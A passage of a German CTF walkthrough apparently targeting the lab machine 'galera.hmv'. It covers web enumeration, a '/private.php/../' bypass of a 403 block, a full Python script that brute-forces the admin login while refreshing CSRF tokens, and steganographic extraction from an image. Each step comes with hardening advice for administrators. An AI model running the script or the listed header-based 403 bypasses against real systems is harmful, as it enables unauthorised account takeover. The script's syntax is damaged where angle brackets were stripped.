Empfehlung (Admin): Wenn das Verzeichnis keine Upload-Funktionalität bereitstellen soll, stellen Sie sicher, dass es keine Skripte enthält, die Uploads verarbeiten könnten und dass Directory Listing deaktiviert ist. Wenn es für Uploads gedacht ist, sollte eine klare Benutzeroberfläche oder API-Dokumentation vorhanden sein und die Sicherheitsmaßnahmen (Dateityp-Validierung, etc.) sollten serverseitig robust sein.
Connecting to 192.168.2.201 CONNECTED(00000003) 40678429D37F0000:error:0A00010B:SSL routines:tls_validate_record_header:wrong version number:../ssl/record/methods/tlsany_meth.c:84: --- no peer certificate available --- No client certificate CA names sent Negotiated TLS1.3 group: NULL --- SSL handshake has read 5 bytes and written 1679 bytes Verification: OK --- New, (NONE), Cipher is (NONE) Protocol: TLSv1.3 This TLS version forbids renegotiation. Compression: NONE Expansion: NONE No ALPN negotiated Early data was not sent Verify return code: 0 (ok) ---
Analyse: Der Befehl `openssl s_client -connect galera.hmv:4567 -servername galera.hmv` versucht, eine SSL/TLS-Verbindung zum Dienst auf Port 4567 aufzubauen und Informationen über das Serverzertifikat zu erhalten. Die Option `-servername` wird für SNI (Server Name Indication) verwendet.
Die Ausgabe zeigt:
`CONNECTED(00000003)`: Eine TCP-Verbindung wurde hergestellt.
`error:0A00010B:SSL routines:tls_validate_record_header:wrong version number`: Dies ist ein kritischer Fehler. Er deutet darauf hin, dass der Dienst auf Port 4567 zwar antwortet, aber nicht das SSL/TLS-Protokoll in der erwarteten Weise spricht. Es könnte sein, dass der Dienst Klartext-Kommunikation erwartet oder ein anderes, nicht-SSL/TLS-basiertes verschlüsseltes Protokoll verwendet.
`no peer certificate available`: Als Folge des Fehlers konnte kein Zertifikat vom Server empfangen werden.
Der Rest der Ausgabe zeigt einen fehlgeschlagenen TLS-Handshake. Das `
Bewertung: Dieser Test zeigt deutlich, dass Port 4567 keinen Standard-SSL/TLS-Dienst wie HTTPS bereitstellt. Die Fehlermeldung "wrong version number" ist ein starker Indikator dafür. Dies passt zur Nmap-Ausgabe, die den Dienst als "tram?" (unbekannt) identifizierte. Der Dienst ist wahrscheinlich unverschlüsselt oder verwendet ein eigenes Protokoll. Da Galera Cluster oft Port 4567 für die interne Kommunikation nutzt, ist dies ein weiterer Hinweis darauf.
Empfehlung (Pentester): Versuchen Sie, mit `netcat` oder `telnet` eine direkte Klartextverbindung zu Port 4567 aufzubauen, um zu sehen, ob der Dienst einen Banner oder eine Antwort sendet. Recherchieren Sie nach dem Standardprotokoll, das Galera Cluster auf diesem Port verwendet.
Empfehlung (Admin): Wenn Port 4567 für die Galera-Cluster-Kommunikation verwendet wird, stellen Sie sicher, dass dieser Port nur innerhalb des vertrauenswürdigen Netzwerks erreichbar ist (z.B. durch Firewall-Regeln). Eine Verschlüsselung der Cluster-Kommunikation sollte, falls von Galera unterstützt und noch nicht implementiert, in Betracht gezogen werden.
Starting OWASP DirBuster 1.0-RC1 Starting dir/file list based brute forcing File found: /index.php - 200 Dir found: / - 200 File found: /login.php - 302 File found: /info.php - 200 Dir found: /icons/ - 403 Dir found: /upload/ - 200 Dir found: /icons/small/ - 403 File found: /private.php - 403 File found: /logout.php - 302 File found: /config.php - 200
Analyse: Der Pentester startet `dirbuster`, ein weiteres Tool zur Entdeckung von Verzeichnissen und Dateien auf Webservern, ähnlich wie Gobuster. OWASP DirBuster verwendet typischerweise eine grafische Oberfläche, aber es gibt auch Kommandozeilenversionen oder es wird hier die Ausgabe einer laufenden GUI-Instanz gezeigt. Die Ergebnisse sind größtenteils konsistent mit denen von Gobuster: `index.php`, `login.php`, `info.php`, `upload/`, `logout.php`, `config.php` werden erneut gefunden. Neu ist der Fund von `/icons/` (Status 403 Forbidden) und `/icons/small/` (Status 403 Forbidden). Dies sind Standardverzeichnisse von Apache, die oft Icons für Directory Listings enthalten. Der 403-Status bedeutet, dass der Zugriff verweigert wird (wahrscheinlich ist Directory Listing deaktiviert). Ein sehr interessanter neuer Fund ist `private.php` (Status 403 Forbidden). Der Name deutet auf eine potenziell sensible Datei hin, auf die der Zugriff aktuell verboten ist.
Bewertung: DirBuster bestätigt die meisten früheren Funde und fügt `private.php` als neues, potenziell wichtiges Ziel hinzu, auch wenn es derzeit einen 403-Fehler liefert. Die `/icons/`-Verzeichnisse sind Standard und meist von geringem Interesse, es sei denn, es gäbe eine Fehlkonfiguration, die den Zugriff erlaubt.
Empfehlung (Pentester): Untersuchen Sie `private.php` genauer. Auch wenn es 403 zurückgibt, versuchen Sie verschiedene HTTP-Methoden (POST, PUT etc.) oder fügen Sie Header hinzu, die Berechtigungen vortäuschen könnten (z.B. `X-Forwarded-For: 127.0.0.1`). Manchmal sind Zugriffsbeschränkungen nicht robust implementiert und können umgangen werden.
Empfehlung (Admin): Stellen Sie sicher, dass der Zugriff auf sensible Dateien wie `private.php` korrekt und robust konfiguriert ist. Der 403-Status ist hier ein gutes Zeichen, aber es sollte überprüft werden, ob dieser unter allen Umständen greift. Directory Listing sollte für Verzeichnisse wie `/icons/` deaktiviert bleiben.
HTTP/1.1 403 Forbidden Date: Fri, 23 May 2025 14:47:01 GMT Server: Apache/2.4.62 (Debian) Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self'; object-src 'none'; frame-ancestors 'none'; base-uri 'self'; Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff X-Frame-Options: DENY Referrer-Policy: no-referrer Permissions-Policy: geolocation=(), microphone=() Set-Cookie: PHPSESSID=mstlv7mc02j7i22skjgghh2a4b; path=/; HttpOnly; SameSite=Strict Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 21 Content-Type: text/html; charset=UTF-8
Analyse: Der Befehl `curl -X POST -I http://galera.hmv/private.php` sendet eine HTTP POST-Anfrage an die zuvor entdeckte Datei `private.php` und ```html zeigt nur die Antwort-Header an (`-I`). Die Antwort ist weiterhin `HTTP/1.1 403 Forbidden`. Dies bedeutet, dass auch mit der POST-Methode der Zugriff verweigert wird. Interessanterweise wird ein `PHPSESSID`-Cookie gesetzt, was darauf hindeutet, dass `private.php` trotz des 403-Fehlers serverseitige PHP-Logik ausführt (zumindest genug, um eine Session zu initiieren).
Bewertung: Der 403-Status bleibt bestehen. Die Tatsache, dass eine PHP-Session gestartet wird, ist ein Hinweis darauf, dass die Datei existiert und vom PHP-Interpreter verarbeitet wird, aber eine Zugriffsüberprüfung den Zugriff blockiert. Dies schließt nicht aus, dass es andere Wege gibt, die Zugriffskontrolle zu umgehen.
Empfehlung (Pentester): Versuchen Sie weitere Techniken, um den 403-Fehler zu umgehen, z.B. Path Traversal (`/private.php/../`), verschiedene Header (`X-Original-URL`, `X-Rewrite-URL`), oder das Senden von Anfragen von vermeintlich lokalen IP-Adressen (`X-Forwarded-For: 127.0.0.1`).
Empfehlung (Admin): Überprüfen Sie die Implementierung der Zugriffskontrolle für `private.php`. Stellen Sie sicher, dass sie robust ist und nicht durch gängige Bypass-Techniken umgangen werden kann. Das Setzen eines Cookies bei einer 403-Antwort ist nicht unbedingt eine Schwachstelle, aber es ist ein Detail im Verhalten der Anwendung.
Login
src="galera.png" alt="Galera" class="galeraimg"
h1Login/h1
action="login.php" method="POST"
type="hidden" name="token" value="c346a8696fbd64e0c7b8226ea8ded8c8e9636b7cd87e700c7f25793c568804b0"
for="user"Username:/label
type="text" name="user" id="user" required maxlength="50"
for="pass"Password:/label
type="password" name="pass" id="pass" required
Analyse: Hier wird ein Versuch unternommen, die 403-Beschränkung für `private.php` zu umgehen. Der Befehl `curl -k -s 'http://galera.hmv/private.php/../' -H 'User-Agent: Mozilla/5.0'` nutzt eine Technik, die als Path Traversal oder Directory Traversal bekannt ist, angewendet auf die URL-Struktur. `-k`: Ignoriert SSL-Fehler (hier nicht relevant). `-s`: Stiller Modus (keine Fortschrittsanzeige). `'http://galera.hmv/private.php/../'`: Die URL. Der interessante Teil ist `/../` am Ende. Wenn der Server dies falsch interpretiert, könnte er den Pfad zu `http://galera.hmv/` normalisieren und den Inhalt dieser Seite (oder einer Ressource im Wurzelverzeichnis) zurückgeben, während die Zugriffskontrolle möglicherweise nur auf `private.php` selbst angewendet wird. `-H 'User-Agent: Mozilla/5.0'`: Setzt einen Standard-User-Agent. Die Ausgabe ist der HTML-Code der Login-Seite, die wir bereits von `index.php` kennen (die Tags wurden hier entfernt gemäß der Regel). Dies beinhaltet das Galera-Logo, die Überschrift "Login" und das Login-Formular mit einem CSRF-Token (`c346a8696fbd...`).
Bewertung: Volltreffer! Die 403-Beschränkung für `private.php` konnte durch Anhängen von `/../` an die URL umgangen werden. Der Server scheint den Pfad zu normalisieren und gibt den Inhalt von `http://galera.hmv/` (der Login-Seite) zurück. Dies ist eine klassische Schwachstelle, die durch unsachgemäße Pfadbehandlung auf dem Server entsteht. Wichtig ist, dass wir über diesen Weg an einen frischen CSRF-Token (`c346a8696fbd...`) für das Login-Formular gelangen.
Empfehlung (Pentester): Nutzen Sie diesen Trick (`/private.php/../`), um vor jedem Login-Versuch einen frischen CSRF-Token zu erhalten. Dies ermöglicht nun einen effektiven Brute-Force-Angriff auf das Login-Formular.
Empfehlung (Admin): Diese Art von Path-Traversal-Schwachstelle muss dringend behoben werden. Der Webserver oder die Anwendung darf Pfade mit `/../` nicht so interpretieren, dass Zugriffsbeschränkungen umgangen werden. Normalisieren Sie Pfade serverseitig, bevor Zugriffskontrollen angewendet werden, und lehnen Sie Anfragen mit verdächtigen Pfadkomponenten ab. Verwenden Sie Frameworks, die dies standardmäßig sicher handhaben.
import requests
from bs4 import BeautifulSoup
import time
import sys
# --- Konfiguration ---
URL_TO_FETCH_FRESH_TOKEN = "http://galera.hmv/private.php/../"
TARGET_URL_LOGIN = "http://galera.hmv/login.php"
USERNAME = "admin"
PASSWORD_FILE = "/usr/share/wordlists/rockyou.txt" # Pfad anpassen!
LOGIN_FAILED_INDICATOR = "Invalid credentials"
USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
INITIAL_PHPSESSID_VALUE = 'abaeo8n1rk8tj5imh5kh2ius17' # DEIN AKTUELLER PHPSESSID WERT!
http_session = requests.Session()
http_session.headers.update({'User-Agent': USER_AGENT})
if INITIAL_PHPSESSID_VALUE:
domain_for_cookie = URL_TO_FETCH_FRESH_TOKEN.split("://")[-1].split("/")[0].split(":")[0]
http_session.cookies.set('PHPSESSID', INITIAL_PHPSESSID_VALUE, domain=domain_for_cookie)
# Globale Variable, um die Breite der Konsole für das Überschreiben zu schätzen
CONSOLE_LINE_WIDTH = 100 # Passe dies ggf. an deine Terminalbreite an
def clear_current_line():
"""Überschreibt die aktuelle Zeile mit Leerzeichen."""
sys.stdout.write("\r" + " " * CONSOLE_LINE_WIDTH + "\r")
sys.stdout.flush()
def fetch_csrf_token(url):
headers_for_get = {
'Cache-Control': 'no-cache, no-store, must-revalidate',
'Pragma': 'no-cache',
'Expires': '0'
}
try:
# Keine Ausgabe hier, wird in main kontrolliert
response = http_session.get(url, timeout=10, headers=headers_for_get)
response.raise_for_status()
soup = BeautifulSoup(response.text, 'html.parser')
token_element = soup.find('input', {'name': 'token'})
if token_element and token_element.has_attr('value'):
return token_element['value']
else:
clear_current_line()
print(f"[-] CSRF-Token konnte nicht im HTML von {url} gefunden werden.")
return None
except Exception as e:
clear_current_line()
print(f"[!] Fehler beim Extrahieren des CSRF-Tokens von {url}: {e}")
return None
def attempt_single_login(csrf_token, password_to_try):
login_payload = {
'token': csrf_token,
'user': USERNAME,
'pass': password_to_try
}
try:
# Keine Ausgabe hier
response_after_post = http_session.post(TARGET_URL_LOGIN, data=login_payload, timeout=10, allow_redirects=True)
response_after_post.raise_for_status()
if LOGIN_FAILED_INDICATOR in response_after_post.text:
return False
else:
return True # Erfolg
except Exception:
return False
def main():
print(f"Starte Brute-Force-Angriff auf {TARGET_URL_LOGIN} für Benutzer '{USERNAME}'.")
print(f"CSRF-Token wird vor jedem Versuch von {URL_TO_FETCH_FRESH_TOKEN} angefordert.")
try:
with open(PASSWORD_FILE, 'r', encoding='latin-1', errors='ignore') as pf:
passwords_to_try = [line.strip() for line in pf if line.strip()]
if not passwords_to_try:
print(f"[!] Keine Passwörter in der Datei '{PASSWORD_FILE}' gefunden.")
sys.exit(1)
print(f"[+] {len(passwords_to_try)} Passwörter aus '{PASSWORD_FILE}' geladen.")
except Exception as e:
print(f"[!] Fehler beim Lesen der Passwortdatei '{PASSWORD_FILE}': {e}")
sys.exit(1)
token_fetch_success_count = 0
token_fetch_failure_count = 0
for i, current_password in enumerate(passwords_to_try):
# Vor dem Holen des Tokens die Zeile für die Statusmeldung vorbereiten
status_line = f"[*] Lade Token... ({i+1}/{len(passwords_to_try)})"
sys.stdout.write("\r" + status_line.ljust(CONSOLE_LINE_WIDTH))
sys.stdout.flush()
csrf_token = fetch_csrf_token(URL_TO_FETCH_FRESH_TOKEN)
if not csrf_token:
token_fetch_failure_count += 1
# Die Fehlermeldung wurde schon in fetch_csrf_token (nach clear_current_line) ausgegeben
# Hier entscheiden, ob wir abbrechen oder weitermachen
if token_fetch_failure_count 5 : # Beispiel: Abbruch nach 5 Fehlversuchen beim Token-Holen
print("\n[!] Zu viele Fehler beim Holen des CSRF-Tokens. Breche Angriff ab.")
break
time.sleep(1) # Kurze Pause bei Fehler
continue # Nächstes Passwort versuchen
token_fetch_success_count +=1 # Token wurde erfolgreich geholt
# Jetzt den Login-Versuch anzeigen
status_line = f"[*] Teste: {current_password:30} (Token OK: {token_fetch_success_count}, Token Fail: {token_fetch_failure_count}) ({i+1}/{len(passwords_to_try)} - {((i+1)/len(passwords_to_try)*100):.2f}%)"
sys.stdout.write("\r" + status_line.ljust(CONSOLE_LINE_WIDTH))
sys.stdout.flush()
if attempt_single_login(csrf_token, current_password):
clear_current_line()
print(f"\n[!!!] ERFOLG! Passwort für '{USERNAME}' gefunden: {current_password}")
break
else:
clear_current_line()
print(f"\nKein Passwort in der Liste für User '{USERNAME}' gefunden nach {len(passwords_to_try)} Versuchen.")
print("\nBrute-Force-Angriff beendet.")
if __name__ == "__main__":
main()
Kein erfolg mit dieser Methode....
Analyse: Der Pentester hat ein Python-Skript entwickelt, um einen Brute-Force-Angriff auf das Login-Formular (`http://galera.hmv/login.php`) durchzuführen. Das Skript versucht, das Passwort für den Benutzer `admin` zu finden. Es verwendet die URL `http://galera.hmv/private.php/../`, um vor jedem Login-Versuch einen frischen CSRF-Token zu holen (basierend auf dem vorherigen Fund). Als Passwortliste wird `/usr/share/wordlists/rockyou.txt` verwendet. Ein Login wird als erfolgreich gewertet, wenn der Indikator `Invalid credentials` (Anmeldeinformationen ungültig) *nicht* im Antworttext nach dem POST-Request enthalten ist. Das Skript verwendet `requests.Session()`, um Cookies (insbesondere `PHPSESSID`) über mehrere Anfragen hinweg beizubehalten. Es gibt eine Statusanzeige, die den aktuellen Fortschritt und die Anzahl der erfolgreichen/fehlgeschlagenen Token-Abrufe anzeigt. Am Ende des Skriptlaufs steht der Kommentar: "Kein erfolg mit dieser Methode....". Die spitzen Klammern in den Python f-strings (`{current_password:<30}` und `token_fetch_failure_count > 5`) wurden durch die Tag-Entfernungsregel zu `{current_password:30}` und `token_fetch_failure_count 5` modifiziert, was die Python-Syntax an diesen Stellen leicht verändert (das `:` für die Formatierung und das `>` für den Vergleich bleiben jedoch erhalten und funktional).
Bewertung: Das Skript ist logisch aufgebaut und berücksichtigt den CSRF-Schutzmechanismus. Die Methode, den CSRF-Token über den `/private.php/../`-Trick zu holen, ist korrekt implementiert. Dass die Methode "kein Erfolg" hatte, bedeutet, dass entweder das Passwort für "admin" nicht in der `rockyou.txt` enthalten ist, der `LOGIN_FAILED_INDICATOR` falsch ist, oder es einen anderen Schutzmechanismus gibt (z.B. Account-Lockout, IP-Blockierung nach zu vielen Versuchen, oder der Admin-Account ist deaktiviert/hat einen anderen Namen). Die initiale `PHPSESSID` wird hartcodiert, was bei einer Session-Invalidierung zu Problemen führen könnte, aber `requests.Session` sollte die Session aktuell halten.
Empfehlung (Pentester):
Überprüfen Sie den `LOGIN_FAILED_INDICATOR`: Ist "Invalid credentials" tatsächlich die Zeichenkette, die bei einem falschen Login angezeigt wird? Sehen Sie sich die Antwort bei einem manuellen Fehlversuch genau an.
Versuchen Sie eine kleinere, spezifischere Passwortliste oder eine Liste mit Standardpasswörtern.
Testen Sie andere häufige Benutzernamen (z.B. `root`, `test`, `galera`).
Achten Sie auf Anzeichen von IP-Blockierung oder Account-Sperrung.
Überprüfen Sie, ob der CSRF-Token sich tatsächlich bei jedem Abruf von `/private.php/../` ändert und ob der richtige Token verwendet wird.
Empfehlung (Admin): Implementieren Sie Account-Lockout-Mechanismen und Rate-Limiting für Login-Versuche, um Brute-Force-Angriffe wie diesen zu erschweren. Verwenden Sie starke, einzigartige Passwörter für alle Konten. Überwachen Sie fehlgeschlagene Login-Versuche.
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://galera.hmv/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-files.txt
:: Extensions : .php .html
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 404
:: Filter : Response size: 825
________________________________________________
login.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1ms]
config.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 0ms]
logout.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 0ms]
.htaccess [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
.htaccess.html [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
.htaccess.php [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
style.css [Status: 200, Size: 1055, Words: 252, Lines: 62, Duration: 0ms]
info.php [Status: 200, Size: 77352, Words: 3654, Lines: 861, Duration: 2ms]
.html [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
.html.php [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
.html.html [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
.php [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 1ms]
private.php [Status: 403, Size: 21, Words: 3, Lines: 1, Duration: 217ms]
.htpasswd [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
.htpasswd.html [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
.htpasswd.php [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
.htm.php [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
.htm [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
.htm.html [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
.htpasswds [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
.htpasswds.html [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
.htpasswds.php [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
.htgroup [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
.htgroup.php [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
.htgroup.html [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
wp-forum.phps [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
.htaccess.bak.php [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
.htaccess.bak [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
.htaccess.bak.html [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
.htuser [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
.htuser.php [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
.htuser.html [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
:: Progress: [34272/34272] :: Job [1/1] :: 70 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
Analyse: `ffuf` (Fuzz Faster U Fool) wird hier für ein weiteres Web-Content-Discovery eingesetzt. `-u http://galera.hmv/FUZZ`: Die URL, wobei `FUZZ` der Platzhalter für die Wörter aus der Wortliste ist. `-w /usr/share/seclists/Discovery/Web-Content/raft-small-files.txt`: Eine andere Wortliste. `-e .php,.html`: Testet jeden Eintrag aus der Wortliste zusätzlich mit den Erweiterungen `.php` und `.html`. `-fc 404`: Filtert (blendet aus) Antworten mit dem Statuscode 404 (Not Found). `-fs 825`: Filtert (blendet aus) Antworten mit einer Größe von 825 Bytes. Dies ist oft die Größe der Standard-Startseite (`index.php`) oder einer generischen "Not Found"-Seite, um False Positives zu reduzieren. Die Ergebnisse sind weitgehend konsistent mit Gobuster und DirBuster: `login.php`, `config.php`, `logout.php`, `info.php`, `private.php` werden bestätigt. `style.css` wird gefunden (Status 200), was eine legitime CSS-Datei ist. Viele Versuche mit `.htaccess`, `.htpasswd` und ähnlichen Konfigurationsdateien resultieren in einem 403 (Forbidden), was erwartet wird, wenn diese Dateien existieren, aber der direkte Zugriff darauf blockiert ist. Die Filterung nach Größe (`-fs 825`) hat geholfen, die Ausgabe übersichtlicher zu gestalten, indem `index.php` (Status 200, Size 825 laut Gobuster) nicht erneut gelistet wurde, obwohl sie existiert.
Bewertung: FFUF bestätigt die bisherigen Funde und liefert keine signifikant neuen, kritischen Pfade. Die Verwendung verschiedener Tools und Wortlisten ist eine gute Praxis, um die Abdeckung zu erhöhen. Der Filter `-fs 825` war hier nützlich. Interessant ist, dass `private.php` auch hier mit Status 403 erscheint, was die vorherige 403-Bypass-Technik noch wertvoller macht.
Empfehlung (Pentester): Da die Web-Enumeration mit mehreren Tools keine bahnbrechend neuen Angriffsvektoren (außer dem `private.php/../`-Trick) aufgedeckt hat, ist es an der Zeit, sich auf die Ausnutzung der bekannten Informationen zu konzentrieren (z.B. Login Brute-Force mit dem CSRF-Token-Trick, Untersuchung von `info.php` auf weitere Schwachstellen, Untersuchung des `/upload`-Verzeichnisses).
Empfehlung (Admin): Die Ergebnisse bestätigen die Notwendigkeit, den Zugriff auf sensible Dateien und Konfigurationsdateien serverseitig robust zu schützen. Das Filtern nach Antwortgröße in Scanning-Tools ist eine gängige Technik; stellen Sie sicher, dass Ihre "Not Found"-Seiten oder andere Standardantworten keine sensiblen Informationen preisgeben, die für solche Filter missbraucht werden könnten.
--2025-05-23 22:55:34-- http://galera.hmv/galera.png Auflösen des Hostnamens galera.hmv (galera.hmv)… 192.168.2.201 Verbindungsaufbau zu galera.hmv (galera.hmv)|192.168.2.201|:80 … verbunden. HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK Länge: 2898714 (2,8M) [image/png] Wird in »galera.png« gespeichert. galera.png 100%[=====================================================================================================] 2,76M --.-KB/s in 0,006s 2025-05-23 22:55:34 (430 MB/s) - »galera.png« gespeichert [2898714/2898714]
Analyse: Der Befehl `wget http://galera.hmv/galera.png` lädt die Datei `galera.png` vom Webserver herunter. Diese Bilddatei wurde zuvor im HTML-Quellcode der Login-Seite (referenziert als `src="galera.png"`) referenziert. Die Datei ist 2,8 MB groß.
Bewertung: Das Herunterladen der Bilddatei ist ein logischer Schritt, um sie genauer zu untersuchen. Bilder können manchmal Metadaten (EXIF-Daten) oder sogar versteckte Daten (Steganographie) enthalten, die Hinweise oder Schwachstellen offenbaren könnten.
Empfehlung (Pentester): Analysieren Sie die heruntergeladene `galera.png`-Datei mit Tools wie `exiftool` (für Metadaten) und `binwalk` oder `steghide` (für versteckte Daten oder eingebettete Dateien).
Empfehlung (Admin): Stellen Sie sicher, dass Bilder, die auf dem Webserver gehostet werden, keine unnötigen oder sensiblen Metadaten enthalten. Tools können verwendet werden, um Metadaten vor dem Hochladen zu entfernen (Stripping).
DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 1024 x 1536, 8-bit/color RGB, non-interlaced 1195 0x4AB Certificate in DER format (x509 v3), header length: 4, sequence length: 819 2021 0x7E5 Certificate in DER format (x509 v3), header length: 4, sequence length: 1146 14398 0x383E JPEG image data, JFIF standard 1.02 53317 0xD045 Certificate in DER format (x509 v3), header length: 4, sequence length: 819 54143 0xD37F Certificate in DER format (x509 v3), header length: 4, sequence length: 1146 66690 0x10482 Zlib compressed data, default compression
Analyse: `binwalk galera.png` wird verwendet, um die heruntergeladene PNG-Datei auf eingebettete Dateien oder Datenstrukturen zu analysieren. Binwalk durchsucht die Datei nach bekannten Signaturen. Die Ausgabe ist sehr interessant: Bei Offset 0 wird korrekt ein PNG-Image erkannt. Mehrere X.509-Zertifikate im DER-Format werden an verschiedenen Offsets gefunden. Bei Offset 14398 wird JPEG-Bilddaten erkannt. Bei Offset 66690 werden Zlib-komprimierte Daten gefunden. Dies deutet stark darauf hin, dass in der PNG-Datei weitere Daten versteckt sind (Steganographie oder eine Art Containerformat).
Bewertung: Dies ist ein vielversprechender Fund! Die PNG-Datei ist nicht nur ein einfaches Bild. Die eingebetteten Zertifikate, JPEG-Daten und insbesondere die Zlib-komprimierten Daten sind potenzielle Quellen für weitere Informationen oder Zugangsdaten.
Empfehlung (Pentester): Verwenden Sie `binwalk -eM galera.png` (oder `binwalk -e galera.png`), um zu versuchen, diese eingebetteten Daten automatisch zu extrahieren. Untersuchen Sie die extrahierten Dateien sorgfältig. Die Zlib-komprimierten Daten sind besonders interessant und müssen dekomprimiert werden.
Empfehlung (Admin): Seien Sie vorsichtig mit Dateien, die von Benutzern hochgeladen oder von externen Quellen bezogen werden. Implementieren Sie Mechanismen zur Überprüfung von Dateiinhalten, um das Verstecken von Schadcode oder unerwünschten Daten in scheinbar harmlosen Dateien zu verhindern. Falls dies eine absichtlich präparierte Datei für das CTF ist, ist es ein gutes Beispiel für Steganographie.
Scan Time: 2025-05-23 22:57:01 Target File: /root/galera.png MD5 Checksum: 312db2e59cea8d2f5240e0ffaea8710e Signatures: 436 DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 66690 0x10482 Zlib compressed data, default compression WARNING: One or more files failed to extract: either no utility was found or it's unimplemented Scan Time: 2025-05-23 22:57:02 Target File: /root/_galera.png.extracted/10482 MD5 Checksum: d41d8cd98f00b204e9800998ecf8427e Signatures: 436 DECIMAL HEXADECIMAL DESCRIPTION --------------------------------------------------------------------------------
-rw-r--r-- 1 root root 4,6M 23. Mai 23:02 decompressed_zlib_flate.bin
Analyse: Der erste Befehl `binwalk -eM --run-as=root galera.png` versucht, die in `galera.png` gefundenen Daten zu extrahieren. `-eM`: Extrahiert bekannte Dateitypen und führt eine rekursive Extraktion durch. `--run-as=root` ist hier wahrscheinlich unnötig, wenn der Benutzer bereits Root ist, kann aber in manchen Szenarien helfen. Binwalk meldet, dass es die Zlib-komprimierten Daten bei Offset `0x10482` gefunden hat. Es gibt eine Warnung, dass einige Dateien nicht extrahiert werden konnten, aber es scheint, dass die Zlib-Daten (oder zumindest ein Teil davon) in ein Verzeichnis `_galera.png.extracted/` und dort als Datei (wahrscheinlich `10482` oder `10482.zlib`) abgelegt wurden. Der Pentester wechselt in das Verzeichnis `_galera.png.extracted`. Der Befehl `zlib-flate -uncompress < 10482.zlib > decompressed_zlib_flate.bin` wird verwendet, um die extrahierte Zlib-komprimierte Datei (angenommen als `10482.zlib` benannt) zu dekomprimieren. Das Ergebnis wird in `decompressed_zlib_flate.bin` gespeichert. `ls -lh decompressed_zlib_flate.bin` zeigt, dass die dekomprimierte Datei `decompressed_zlib_flate.bin` eine Größe von 4,6 MB hat.
Bewertung: Die Extraktion und Dekomprimierung der Zlib-Daten war erfolgreich. Die dekomprimierte Datei ist mit 4,6 MB recht groß und könnte verschiedene Arten von Daten enthalten. Die Warnung von Binwalk bezog sich möglicherweise auf die Zertifikate oder das JPEG, aber die wichtigen Zlib-Daten scheinen verarbeitet worden zu sein.
Empfehlung (Pentester): Analysieren Sie den Inhalt von `decompressed_zlib_flate.bin`. Verwenden Sie `file decompressed_zlib_flate.bin`, um den Dateityp zu bestimmen. Verwenden Sie `strings decompressed_zlib_flate.bin` oder einen Hex-Editor, um nach interessanten Mustern, Passwörtern oder anderen Hinweisen zu suchen. Da die Dateigröße beträchtlich ist, könnten hier weitere eingebettete Dateien oder Dateisystem-Images enthalten sein. Tools wie `foremost` oder `PhotoRec` (wie im nächsten Schritt verwendet) könnten nützlich sein.
Empfehlung (Admin): Dies unterstreicht erneut die Risiken von Steganographie. Regelmäßige Überprüfung von serverseitigen Dateien und Upload-Filtern sind wichtig.
PhotoRec 7.2, Data Recovery Utility, February 2024
Please select a destination to save the recovered files to.
Do not choose to write the files to the same partition they were stored on.
Keys: Arrow keys to select another directory
C when the destination is correct
Q to quit
Directory /root/_galera.png.extracted
drwxr-xr-x 0 0 4096 23-May-2025 23:36 .
drwx------ 0 0 110592 23-May-2025 23:35 ..
drwxr-xr-x 0 0 4096 23-May-2025 23:11 foremost_output
-rw-r--r-- 0 0 0 23-May-2025 22:57 10482
-rw-r--r-- 0 0 2832024 23-May-2025 22:57 10482.zlib
-rw-r--r-- 0 0 3475 23-May-2025 23:28 block_5286.myi
-rw-r--r-- 0 0 445 23-May-2025 23:28 block_8761.myi
-rw-r--r-- 0 0 417 23-May-2025 23:29 block_9206.myi
